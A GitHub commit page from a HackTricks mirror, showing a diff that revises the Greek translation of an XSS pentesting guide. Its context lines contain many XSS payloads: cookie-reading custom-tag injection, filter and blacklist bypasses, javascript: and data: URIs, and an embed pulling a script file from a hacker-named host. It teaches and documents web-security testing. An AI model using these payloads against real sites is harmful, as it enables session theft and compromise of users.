mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 22:20:43 +00:00
Translated ['pentesting-web/xss-cross-site-scripting/README.md'] to gr
This commit is contained in:
parent
20958d9b56
commit
35bbd6e183
1 changed files with 91 additions and 70 deletions
|
@ -2,7 +2,7 @@
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Εάν ενδιαφέρεστε για **καριέρα στο χάκινγκ** και θέλετε να χακεύσετε το αχακέυτο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού πολωνικού_).
|
||||
Εάν ενδιαφέρεστε για **καριέρα στο χάκινγκ** και θέλετε να χακεύετε το αδύνατο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού πολωνικού_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -16,22 +16,22 @@
|
|||
1. Μπορείτε να δημιουργήσετε νέες ετικέτες HTML;
|
||||
2. Μπορείτε να χρησιμοποιήσετε συμβάντα ή γνωρίσματα που υποστηρίζουν το πρωτόκολλο `javascript:`;
|
||||
3. Μπορείτε να παρακάμψετε προστασίες;
|
||||
4. Το περιεχόμενο HTML ερμηνεύεται από κάποιον μηχανισμό JS στην πλευρά του πελάτη (_AngularJS_, _VueJS_, _Mavo_...), μπορείτε να εκμεταλλευτείτε μια [**Ενσωμάτωση Προτύπου Πλευράς Πελάτη**](../client-side-template-injection-csti.md).
|
||||
5. Εάν δεν μπορείτε να δημιουργήσετε ετικέτες HTML που εκτελούν κώδικα JS, μπορείτε να εκμεταλλευτείτε μια [**Κρεμασμένη Σήμανση - Ενσωμάτωση HTML χωρίς script**](../dangling-markup-html-scriptless-injection/);
|
||||
4. Το περιεχόμενο HTML ερμηνεύεται από κάποιον κινητήρα JS στο πλευρά του πελάτη (_AngularJS_, _VueJS_, _Mavo_...), μπορείτε να εκμεταλλευτείτε μια [**Ενσωμάτωση Προτύπου Πλευράς Πελάτη**](../client-side-template-injection-csti.md).
|
||||
5. Εάν δεν μπορείτε να δημιουργήσετε ετικέτες HTML που εκτελούν κώδικα JS, μπορείτε να εκμεταλλευτείτε μια [**Κρεμασμένη Σήμανση - Ενσωμάτωση HTML χωρίς script**](../dangling-markup-html-scriptless-injection/)?
|
||||
2. Μέσα σε μια **ετικέτα HTML**:
|
||||
1. Μπορείτε να βγείτε στον ακατέργαστο πλαίσιο HTML;
|
||||
1. Μπορείτε να βγείτε στο ακατέργαστο πλαίσιο HTML;
|
||||
2. Μπορείτε να δημιουργήσετε νέα συμβάντα/γνωρίσματα για να εκτελέσετε κώδικα JS;
|
||||
3. Υποστηρίζει το γνώρισμα όπου είστε παγιδευμένοι την εκτέλεση JS;
|
||||
3. Υποστηρίζει το γνώρισμα όπου είστε παγιδευμένος την εκτέλεση JS;
|
||||
4. Μπορείτε να παρακάμψετε προστασίες;
|
||||
3. Μέσα στον **κώδικα JavaScript**:
|
||||
3. Μέσα σε **κώδικα JavaScript**:
|
||||
1. Μπορείτε να δραπετεύσετε την ετικέτα `<script>`;
|
||||
2. Μπορείτε να δραπετεύσετε τη συμβολοσειρά και να εκτελέσετε διαφορετικό κώδικα JS;
|
||||
3. Είναι η είσοδός σας σε πρότυπα προτάσεων \`\`;
|
||||
4. Μπορείτε να παρακάμψετε προστασίες;
|
||||
4. Η **συνάρτηση JavaScript** που **εκτελείται**
|
||||
4. Η **συνάρτηση** JavaScript που **εκτελείται**
|
||||
1. Μπορείτε να υποδείξετε το όνομα της συνάρτησης προς εκτέλεση. π.χ.: `?callback=alert(1)`
|
||||
4. Εάν **χρησιμοποιείται**:
|
||||
1. Μπορείτε να εκμεταλλευτείτε ένα **DOM XSS**, προσέξτε πώς ελέγχεται η είσοδός σας και αν η **ελεγχόμενη είσοδος σας χρησιμοποιείται από κάποια διαρροή.**
|
||||
1. Μπορείτε να εκμεταλλευτείτε ένα **DOM XSS**, προσέξτε πώς ελέγχεται η είσοδός σας και αν η **ελεγχόμενη είσοδος σας χρησιμοποιείται από κάποιο sink.**
|
||||
|
||||
Όταν εργάζεστε σε ένα πολύπλοκο XSS μπορεί να είναι ενδιαφέρον να γνωρίζετε για:
|
||||
|
||||
|
@ -76,7 +76,7 @@
|
|||
Σε αυτήν την περίπτωση, η είσοδός σας αντανακλάται μεταξύ των ετικετών **`<script> [...] </script>`** ενός HTML σελίδας, μέσα σε ένα αρχείο `.js` ή μέσα σε ένα γνώρισμα χρησιμοποιώντας το πρωτόκολλο **`javascript:`**:
|
||||
|
||||
* Αν αντανακλάται μεταξύ των ετικετών **`<script> [...] </script>`**, ακόμα κι αν η είσοδός σας βρίσκεται μέσα σε οποιοδήποτε είδος εισαγωγικών, μπορείτε να δοκιμάσετε να εισάγετε `</script>` και να δραπετεύσετε από αυτό το πλαίσιο. Αυτό λειτουργεί επειδή ο **περιηγητής θα αναλύσει πρώτα τις ετικέτες HTML** και μετά το περιεχόμενο, επομένως, δεν θα παρατηρήσει ότι το εισαγόμενο σας `</script>` είναι μέσα στον κώδικα HTML.
|
||||
* Αν αντανακλάται **μέσα σε μια συμβολοσειρά JS** και η τελευταία κόλπος δεν λειτουργεί, θα χρειαστεί να **βγείτε** από τη συμβολοσειρά, να **εκτελέσετε** τον κώδικά σας και να **ανακατασκευάσετε** τον κώδικα JS (αν υπάρχει κάποιο σφάλμα, δεν θα εκτελεστεί):
|
||||
* Αν αντανακλάται **μέσα σε μια συμβολοσειρά JS** και η προηγούμενη τεχνική δεν λειτουργεί, θα χρειαστεί να **βγείτε** από τη συμβολοσειρά, **εκτελέσετε** τον κώδικά σας και **ανακατασκευάσετε** τον κώδικα JS (αν υπάρχει κάποιο σφάλμα, δεν θα εκτελεστεί):
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
* `\';alert(1)//`
|
||||
|
@ -106,7 +106,7 @@
|
|||
|
||||
Σε περίπτωση που είναι ευάλωτο, μπορείτε να **ενεργοποιήσετε ένα ειδοποιητικό μήνυμα** απλά στέλνοντας την τιμή: **`?callback=alert(1)`**. Ωστόσο, είναι πολύ συνηθισμένο αυτά τα σημεία να **επικυρώνουν το περιεχόμενο** για να επιτρέπουν μόνο γράμματα, αριθμούς, τελείες και κάτω παύλες (**`[\w\._]`**).
|
||||
|
||||
Ωστόσο, ακόμα και με αυτό τον περιορισμό είναι δυνατό να εκτελέσετε κάποιες ενέργειες. Αυτό οφείλεται στο γεγονός ότι μπορείτε να χρησιμοποιήσετε αυτούς τους έγκυρους χαρακτήρες για **πρόσβαση σε οποιοδήποτε στοιχείο στο DOM**:
|
||||
Ωστόσο, ακόμα και με αυτό τον περιορισμό είναι δυνατό να εκτελέσετε ορισμένες ενέργειες. Αυτό οφείλεται στο γεγονός ότι μπορείτε να χρησιμοποιήσετε αυτούς τους έγκυρους χαρακτήρες για **πρόσβαση σε οποιοδήποτε στοιχείο στο DOM**:
|
||||
|
||||
![](<../../.gitbook/assets/image (747).png>)
|
||||
|
||||
|
@ -120,7 +120,7 @@ parentElement
|
|||
```
|
||||
Μπορείτε επίσης να δοκιμάσετε να **ενεργοποιήσετε συναρτήσεις Javascript** απευθείας: `obj.sales.delOrders`.
|
||||
|
||||
Ωστόσο, συνήθως τα σημεία που εκτελούν τη συγκεκριμένη λειτουργία είναι σημεία χωρίς πολύ ενδιαφέρον DOM, **άλλες σελίδες στην ίδια προέλευση** θα έχουν ένα **πιο ενδιαφέρον DOM** για να εκτελέσουν περισσότερες ενέργειες.
|
||||
Ωστόσο, συνήθως τα σημεία που εκτελούν την εν λόγω συνάρτηση είναι σημεία χωρίς ένα DOM που παρουσιάζει ενδιαφέρον, **άλλες σελίδες στην ίδια προέλευση** θα έχουν ένα **πιο ενδιαφέρον DOM** για να εκτελέσουν περισσότερες ενέργειες.
|
||||
|
||||
Επομένως, για να **καταχραστείτε αυτήν την ευπάθεια σε ένα διαφορετικό DOM** αναπτύχθηκε η εκμετάλλευση **Same Origin Method Execution (SOME)**:
|
||||
|
||||
|
@ -170,17 +170,17 @@ _**Σημείωση: Ένα σχόλιο HTML μπορεί να κλείσει
|
|||
|
||||
### Δοκιμή με βία ετικετών/συμβάντων
|
||||
|
||||
Πηγαίνετε στο [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) και κάντε κλικ στο _**Αντιγραφή ετικετών στο πρόχειρο**_. Στη συνέχεια, στείλτε τις όλες χρησιμοποιώντας το Burp intruder και ελέγξτε αν κάποιες ετικέτες δεν ανακαλύφθηκαν ως κακόβουλες από το WAF. Αφού ανακαλύψετε ποιες ετικέτες μπορείτε να χρησιμοποιήσετε, μπορείτε να **δοκιμάσετε με βία όλα τα συμβάντα** χρησιμοποιώντας τις έγκυρες ετικέτες (στην ίδια ιστοσελίδα κάντε κλικ στο _**Αντιγραφή συμβάντων στο πρόχειρο**_ και ακολουθήστε την ίδια διαδικασία όπως πριν).
|
||||
Πηγαίνετε στο [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) και κάντε κλικ στο _**Αντιγραφή ετικετών στο πρόχειρο**_. Στη συνέχεια, στείλτε τα όλα χρησιμοποιώντας το Burp intruder και ελέγξτε αν κάποιες ετικέτες δεν ανακαλύφθηκαν ως κακόβουλες από το WAF. Αφού ανακαλύψετε ποιες ετικέτες μπορείτε να χρησιμοποιήσετε, μπορείτε να **δοκιμάσετε με βία όλα τα συμβάντα** χρησιμοποιώντας τις έγκυρες ετικέτες (στην ίδια ιστοσελίδα κάντε κλικ στο _**Αντιγραφή συμβάντων στο πρόχειρο**_ και ακολουθήστε την ίδια διαδικασία όπως πριν).
|
||||
|
||||
### Προσαρμοσμένες ετικέτες
|
||||
|
||||
Αν δεν βρήκατε καμία έγκυρη ετικέτα HTML, μπορείτε να δοκιμάσετε να **δημιουργήσετε μια προσαρμοσμένη ετικέτα** και να εκτελέσετε κώδικα JS με το χαρακτηριστικό `onfocus`. Στο αίτημα XSS, πρέπει να τελειώσετε το URL με `#` για να κάνετε τη σελίδα **εστιάσει σε αυτό το αντικείμενο** και **να εκτελέσει** τον κώδικα:
|
||||
Αν δεν βρήκατε καμία έγκυρη ετικέτα HTML, μπορείτε να δοκιμάσετε να **δημιουργήσετε μια προσαρμοσμένη ετικέτα** και να εκτελέσετε κώδικα JS με το χαρακτηριστικό `onfocus`. Στο αίτημα XSS, πρέπει να τελειώσετε το URL με `#` για να κάνετε τη σελίδα **εστιάσει σε αυτό το αντικείμενο** και **εκτελέσει** τον κώδικα:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
### Παρακάμψεις Μαύρης Λίστας
|
||||
### Παράκαμψη Μαύρης Λίστας
|
||||
|
||||
Αν χρησιμοποιείται κάποιο είδος μαύρης λίστας, μπορείτε να προσπαθήσετε να την παρακάμψετε με μερικά ανόητα κόλπα:
|
||||
Εάν χρησιμοποιείται κάποιο είδος μαύρης λίστας, μπορείτε να προσπαθήσετε να την παρακάμψετε με μερικά ανόητα κόλπα:
|
||||
```javascript
|
||||
//Random capitalization
|
||||
<script> --> <ScrIpT>
|
||||
|
@ -243,18 +243,18 @@ onerror=alert`1`
|
|||
```
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
Αν για να εκμεταλλευτείτε την ευπάθεια χρειάζεται ο **χρήστης να κάνει κλικ σε ένα σύνδεσμο ή ένα φόρμα** με προεπιλεγμένα δεδομένα, μπορείτε να δοκιμάσετε να [**καταχραστείτε το Clickjacking**](../clickjacking.md#xss-clickjacking) (αν η σελίδα είναι ευάθροιστη).
|
||||
Εάν για να εκμεταλλευτείτε την ευπάθεια χρειάζεστε τον **χρήστη να κάνει κλικ σε ένα σύνδεσμο ή ένα φόρμα** με προεπιλεγμένα δεδομένα, μπορείτε να δοκιμάσετε να [**καταχραστείτε το Clickjacking**](../clickjacking.md#xss-clickjacking) (εάν η σελίδα είναι ευάθροιστη).
|
||||
|
||||
### Impossible - Dangling Markup
|
||||
|
||||
Αν απλά πιστεύετε ότι **είναι αδύνατο να δημιουργήσετε ένα ετικέτα HTML με ένα γνώρισμα για να εκτελέσετε κώδικα JS**, θα πρέπει να ελέγξετε το [**Danglig Markup**](../dangling-markup-html-scriptless-injection/) επειδή θα μπορούσατε να **εκμεταλλευτείτε** την ευπάθεια **χωρίς** να εκτελέσετε **κώδικα JS**.
|
||||
Εάν απλώς πιστεύετε ότι **είναι αδύνατο να δημιουργήσετε ένα ετικέτα HTML με ένα γνώρισμα για να εκτελέσετε κώδικα JS**, θα πρέπει να ελέγξετε το [**Danglig Markup**](../dangling-markup-html-scriptless-injection/) επειδή θα μπορούσατε να **εκμεταλλευτείτε** την ευπάθεια **χωρίς** να εκτελέσετε **κώδικα JS**.
|
||||
|
||||
## Ενσωμάτωση μέσα σε ετικέτα HTML
|
||||
|
||||
### Μέσα στην ετικέτα/διαφυγή από την τιμή του γνωρίσματος
|
||||
### Μέσα στην ετικέτα/διαφυγή από τιμή γνωρίσματος
|
||||
|
||||
Αν βρίσκεστε **μέσα σε μια ετικέτα HTML**, το πρώτο πράγμα που μπορείτε να δοκιμάσετε είναι να **διαφύγετε** από την ετικέτα και να χρησιμοποιήσετε κάποιες από τις τεχνικές που αναφέρονται στην [προηγούμενη ενότητα](./#injecting-inside-raw-html) για να εκτελέσετε κώδικα JS.\
|
||||
Αν **δεν μπορείτε να διαφύγετε από την ετικέτα**, μπορείτε να δημιουργήσετε νέα γνωρίσματα μέσα στην ετικέτα για να δοκιμάσετε να εκτελέσετε κώδικα JS, για παράδειγμα χρησιμοποιώντας κάποιο φορτίο όπως (_σημειώστε ότι σε αυτό το παράδειγμα χρησιμοποιούνται διπλά εισαγωγικά για να διαφύγουν από το γνώρισμα, δεν θα τα χρειαστείτε αν η είσοδός σας αντανακλάται απευθείας μέσα στην ετικέτα_):
|
||||
Εάν βρίσκεστε **μέσα σε μια ετικέτα HTML**, το πρώτο πράγμα που μπορείτε να δοκιμάσετε είναι να **διαφύγετε** από την ετικέτα και να χρησιμοποιήσετε κάποιες από τις τεχνικές που αναφέρονται στην [προηγούμενη ενότητα](./#injecting-inside-raw-html) για να εκτελέσετε κώδικα JS.\
|
||||
Εάν **δεν μπορείτε να διαφύγετε από την ετικέτα**, μπορείτε να δημιουργήσετε νέα γνωρίσματα μέσα στην ετικέτα για να δοκιμάσετε να εκτελέσετε κώδικα JS, για παράδειγμα χρησιμοποιώντας κάποιο φορτίο όπως (_σημείωση ότι σε αυτό το παράδειγμα χρησιμοποιούνται διπλά εισαγωγικά για να διαφύγετε από το γνώρισμα, δεν θα τα χρειαστείτε εάν η είσοδός σας αντανακλάται απευθείας μέσα στην ετικέτα_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
|
@ -271,12 +271,12 @@ onerror=alert`1`
|
|||
```
|
||||
### Μέσα στο γνώρισμα
|
||||
|
||||
Ακόμα κι αν **δεν μπορείτε να δραπετεύσετε από το γνώρισμα** (`"` κωδικοποιείται ή διαγράφεται), ανάλογα με **ποιο γνώρισμα** αντικατοπτρίζεται η τιμή σας **εάν ελέγχετε όλη την τιμή ή μόνο ένα μέρος** μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα γεγονός όπως το `onclick=`, θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν γίνει κλικ.\
|
||||
Ακόμα κι αν **δεν μπορείτε να δραπετεύσετε από το γνώρισμα** (`"` κωδικοποιείται ή διαγράφεται), ανάλογα με το **ποιο γνώρισμα** αντικατοπτρίζεται η τιμή σας, αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος, θα μπορέσετε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα γεγονός όπως το `onclick=`, θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν γίνει κλικ.\
|
||||
Ένα άλλο ενδιαφέρον **παράδειγμα** είναι το γνώρισμα `href`, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο `javascript:` για να εκτελέσετε αυθαίρετο κώδικα: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Παράκαμψη μέσα σε γεγονός χρησιμοποιώντας κωδικοποίηση HTML/κωδικοποίηση URL**
|
||||
|
||||
Οι **κωδικοποιημένοι χαρακτήρες HTML** μέσα στην τιμή των γνωρισμάτων ετικετών HTML αποκωδικοποιούνται κατά την εκτέλεση. Επομένως, κάτι τέτοιο θα είναι έγκυρο (το φορτίο είναι σε έντονα γράμματα): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Επιστροφή </a>`
|
||||
Οι **κωδικοποιημένοι χαρακτήρες HTML** μέσα στην τιμή των γνωρισμάτων ετικετών HTML αποκωδικοποιούνται κατά την εκτέλεση. Επομένως, κάτι σαν το παρακάτω θα είναι έγκυρο (το φορτωμένο δεδομένο είναι στον έντονο χαρακτήρα): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Επιστροφή </a>`
|
||||
|
||||
Σημειώστε ότι **οποιαδήποτε μορφή κωδικοποίησης HTML είναι έγκυρη**:
|
||||
```javascript
|
||||
|
@ -299,7 +299,7 @@ onerror=alert`1`
|
|||
```python
|
||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||
```
|
||||
**Παράκαμψη μέσα σε event χρησιμοποιώντας κωδικοποίηση Unicode**
|
||||
**Παράκαμψη εντός συμβάντος χρησιμοποιώντας κωδικοποίηση Unicode**
|
||||
```javascript
|
||||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
|
@ -329,7 +329,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
|||
```
|
||||
**Τοποθεσίες όπου μπορείτε να εισάγετε αυτά τα πρωτόκολλα**
|
||||
|
||||
**Γενικά** το πρωτόκολλο `javascript:` μπορεί να **χρησιμοποιηθεί σε οποιαδήποτε ετικέτα που δέχεται το χαρακτηριστικό `href`** και σε **περισσότερες** από τις ετικέτες που δέχονται το **χαρακτηριστικό `src`** (αλλά όχι `<img`)
|
||||
**Γενικά** το πρωτόκολλο `javascript:` μπορεί να **χρησιμοποιηθεί σε οποιαδήποτε ετικέτα δέχεται το γνώρισμα `href`** και σε **τις περισσότερες** από τις ετικέτες που δέχονται το **γνώρισμα `src`** (αλλά όχι `<img`)
|
||||
```markup
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
|
@ -349,23 +349,23 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
|||
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
|
||||
<iframe srcdoc="<svg onload=alert(4);>">
|
||||
```
|
||||
**Άλλα κόλπα παραμόρφωσης**
|
||||
**Άλλα κόλπα απόκρυψης**
|
||||
|
||||
_**Σε αυτήν την περίπτωση, η κωδικοποίηση HTML και το κόλπο κωδικοποίησης Unicode από την προηγούμενη ενότητα είναι επίσης έγκυρα καθώς βρίσκεστε μέσα σε ένα γνώρισμα.**_
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Επιπλέον, υπάρχει ένα άλλο **καλό κόλπο** για αυτές τις περιπτώσεις: **Ακόμα και αν το input σας μέσα στο `javascript:...` κωδικοποιείται σε μορφή URL, θα αποκωδικοποιηθεί πριν εκτελεστεί.** Έτσι, αν χρειάζεστε να **δραπετεύσετε** από το **string** χρησιμοποιώντας μια **μονή απόστροφο** και βλέπετε ότι **κωδικοποιείται σε μορφή URL**, θυμηθείτε ότι **δεν έχει σημασία,** θα **ερμηνευτεί** ως **μονή απόστροφος** κατά τη διάρκεια της **εκτέλεσης**.
|
||||
Επιπλέον, υπάρχει ένα **ωραίο κόλπο** για αυτές τις περιπτώσεις: **Ακόμα κι αν το input σας μέσα στο `javascript:...` είναι κωδικοποιημένο ως URL, θα αποκωδικοποιηθεί πριν εκτελεστεί.** Έτσι, αν χρειάζεται να **δραπετεύσετε** από το **string** χρησιμοποιώντας μια **μονή απόστροφο** και βλέπετε ότι **είναι κωδικοποιημένη ως URL**, θυμηθείτε ότι **δεν έχει σημασία,** θα **ερμηνευτεί** ως **μονή απόστροφο** κατά τη διάρκεια της **εκτέλεσης**.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
Σημείωση ότι αν προσπαθήσετε να **χρησιμοποιήσετε και τα δύο** `URLencode + HTMLencode` με οποιαδήποτε σειρά για να κωδικοποιήσετε το **payload** δεν θα **λειτουργήσει**, αλλά μπορείτε να **τα ανακατέψετε μέσα στο payload**.
|
||||
Σημειώστε ότι αν προσπαθήσετε να **χρησιμοποιήσετε και τα δύο** `URLencode + HTMLencode` με οποιαδήποτε σειρά για να κωδικοποιήσετε το **payload** δεν θα **λειτουργήσει**, αλλά μπορείτε να **τα ανακατέψετε μέσα στο payload**.
|
||||
|
||||
**Χρησιμοποιώντας το Hex και το Octal encode με το `javascript:`**
|
||||
**Χρήση κωδικοποίησης Hex και Octal με `javascript:`**
|
||||
|
||||
Μπορείτε να χρησιμοποιήσετε το **Hex** και το **Octal encode** μέσα στο χαρακτηριστικό `src` του `iframe` (τουλάχιστον) για να δηλώσετε **HTML tags για να εκτελέσετε JS**:
|
||||
Μπορείτε να χρησιμοποιήσετε την **κωδικοποίηση Hex** και **Octal** μέσα στο χαρακτηριστικό `src` του `iframe` (τουλάχιστον) για να δηλώσετε **HTML tags για εκτέλεση JS**:
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
|
@ -381,7 +381,7 @@ _**Σε αυτήν την περίπτωση, η κωδικοποίηση HTML
|
|||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Εάν μπορείτε να εισάγετε οποιοδήποτε URL σε ένα αυθαίρετο **`<a href=`** tag που περιέχει τα χαρακτηριστικά **`target="_blank" και rel="opener"`**, ελέγξτε τη **εξής σελίδα για να εκμεταλλευτείτε αυτή τη συμπεριφορά**:
|
||||
Εάν μπορείτε να εισάγετε οποιοδήποτε URL σε ένα αυθαίρετο **`<a href=`** ετικέτα που περιέχει τα χαρακτηριστικά **`target="_blank"` και `rel="opener"`**, ελέγξτε τη **ακόλουθη σελίδα για να εκμεταλλευτείτε αυτή τη συμπεριφορά**:
|
||||
|
||||
{% content-ref url="../reverse-tab-nabbing.md" %}
|
||||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||||
|
@ -389,8 +389,8 @@ _**Σε αυτήν την περίπτωση, η κωδικοποίηση HTML
|
|||
|
||||
### Παράκαμψη Χειριστών Γεγονότων
|
||||
|
||||
Καταρχάς ελέγξτε αυτήν τη σελίδα ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) για χρήσιμους **"on" event handlers**.\
|
||||
Σε περίπτωση που υπάρχει κάποια μαύρη λίστα που εμποδίζει τη δημιουργία αυτών των event handlers, μπορείτε να δοκιμάσετε τις παρακάτω παρακάμψεις:
|
||||
Καταρχάς ελέγξτε αυτή τη σελίδα ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) για χρήσιμους **"on" χειριστές γεγονότων**.\
|
||||
Σε περίπτωση που υπάρχει κάποια μαύρη λίστα που εμποδίζει τη δημιουργία αυτών των χειριστών γεγονότων, μπορείτε να δοκιμάσετε τις ακόλουθες παρακάμψεις:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
|
@ -407,7 +407,7 @@ Android: %09 %20 %28 %2C %3B
|
|||
```
|
||||
### XSS σε "Μη εκμεταλλεύσιμες ετικέτες" (κρυφή είσοδος, σύνδεσμος, κανονικός, μετα)
|
||||
|
||||
Από [**εδώ**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **είναι πλέον δυνατή η κατάχρηση των κρυφών εισόδων με:**
|
||||
Από [**εδώ**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **είναι πλέον δυνατή η κατάχρηση κρυφών εισόδων με:**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
||||
|
@ -428,7 +428,7 @@ Android: %09 %20 %28 %2C %3B
|
|||
|
||||
### Παρακάμψεις Μαύρης Λίστας
|
||||
|
||||
Έχουν ήδη αποκαλυφθεί αρκετά κόλπα χρησιμοποιώντας διαφορετικές κωδικοποιήσεις μέσα σε αυτήν την ενότητα. Πήγαινε **πίσω για να μάθεις πού μπορείς να χρησιμοποιήσεις:**
|
||||
Έχουν αποκαλυφθεί ήδη αρκετά κόλπα χρησιμοποιώντας διαφορετικές κωδικοποιήσεις μέσα σε αυτήν την ενότητα. Πήγαινε **πίσω για να μάθεις πού μπορείς να χρησιμοποιήσεις:**
|
||||
|
||||
* **Κωδικοποίηση HTML (ετικέτες HTML)**
|
||||
* **Κωδικοποίηση Unicode (μπορεί να είναι έγκυρος κώδικας JS):** `\u0061lert(1)`
|
||||
|
@ -442,13 +442,13 @@ Android: %09 %20 %28 %2C %3B
|
|||
|
||||
**Παρακάμψεις για κώδικα JavaScript**
|
||||
|
||||
Διάβασε τις [Παρακάμψεις Μαύρης Λίστας JavaScript της επόμενης ενότητας](./#javascript-bypass-blacklists-techniques).
|
||||
Διάβασε τη [Μαύρη Λίστα Παρακάμψεων JavaScript της επόμενης ενότητας](./#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Gadgets
|
||||
|
||||
Αν βρήκες ένα **XSS σε ένα πολύ μικρό μέρος** του ιστοώστερου που απαιτεί κάποιο είδος αλληλεπίδρασης (ίσως ένα μικρό σύνδεσμο στο υποσέλιδο με ένα στοιχείο onmouseover), μπορείς να **τροποποιήσεις τον χώρο που καταλαμβάνει το στοιχείο** για να μεγιστοποιήσεις τις πιθανότητες εκτέλεσης του συνδέσμου.
|
||||
Αν βρήκες ένα **XSS σε ένα πολύ μικρό μέρος** του ιστοώστερου που απαιτεί κάποιο είδος αλληλεπίδρασης (ίσως ένα μικρό link στο υποσέλιδο με ένα στοιχείο onmouseover), μπορείς να **τροποποιήσεις τον χώρο που καταλαμβάνει το στοιχείο** για να μεγιστοποιήσεις τις πιθανότητες εκτέλεσης του συνδέσμου.
|
||||
|
||||
Για παράδειγμα, θα μπορούσες να προσθέσεις κάποια στυλ στο στοιχείο όπως: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
Για παράδειγμα, θα μπορούσες να προσθέσεις κάποια στυλιστικά στοιχεία στο στοιχείο όπως: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
Αλλά, αν το WAF φιλτράρει το χαρακτηριστικό style, μπορείς να χρησιμοποιήσεις τα CSS Styling Gadgets, οπότε αν βρεις, για παράδειγμα
|
||||
|
||||
|
@ -474,7 +474,7 @@ Android: %09 %20 %28 %2C %3B
|
|||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Σημειώστε ότι σε αυτό το παράδειγμα **δεν έχουμε κλείσει ακόμα το μονό εισαγωγικό**. Αυτό συμβαίνει επειδή η **ανάλυση HTML πραγματοποιείται πρώτα από τον περιηγητή**, η οποία περιλαμβάνει την αναγνώριση στοιχείων σελίδας, συμπεριλαμβανομένων των τμημάτων κώδικα. Η ανάλυση του JavaScript για την κατανόηση και εκτέλεση των ενσωματωμένων σεναρίων πραγματοποιείται μόνο μετά.
|
||||
Σημειώστε ότι σε αυτό το παράδειγμα **δεν έχουμε κλείσει ούτε τη μονή απόστροφο**. Αυτό συμβαίνει επειδή η **ανάλυση HTML πραγματοποιείται πρώτα από τον περιηγητή**, η οποία περιλαμβάνει την αναγνώριση στοιχείων σελίδας, συμπεριλαμβανομένων των τμημάτων κώδικα. Η ανάλυση του JavaScript για την κατανόηση και εκτέλεση των ενσωματωμένων σεναρίων πραγματοποιείται μόνο αργότερα.
|
||||
|
||||
### Μέσα στον κώδικα JS
|
||||
|
||||
|
@ -486,9 +486,8 @@ Android: %09 %20 %28 %2C %3B
|
|||
```
|
||||
### Πρότυπα αλφαριθμητικών \`\`
|
||||
|
||||
Για να κατασκευάσετε **αλφαριθμητικά** εκτός από μονά και διπλά εισαγωγικά, το JS δέχεται επίσης **ανάστροφες μονάδες** **` `` `**. Αυτό είναι γνωστό ως πρότυπα αλφαριθμητικών καθώς επιτρέπουν τη **ενσωμάτωση εκφράσεων JS** χρησιμοποιώντας τη σύνταξη `${ ... }`.
|
||||
|
||||
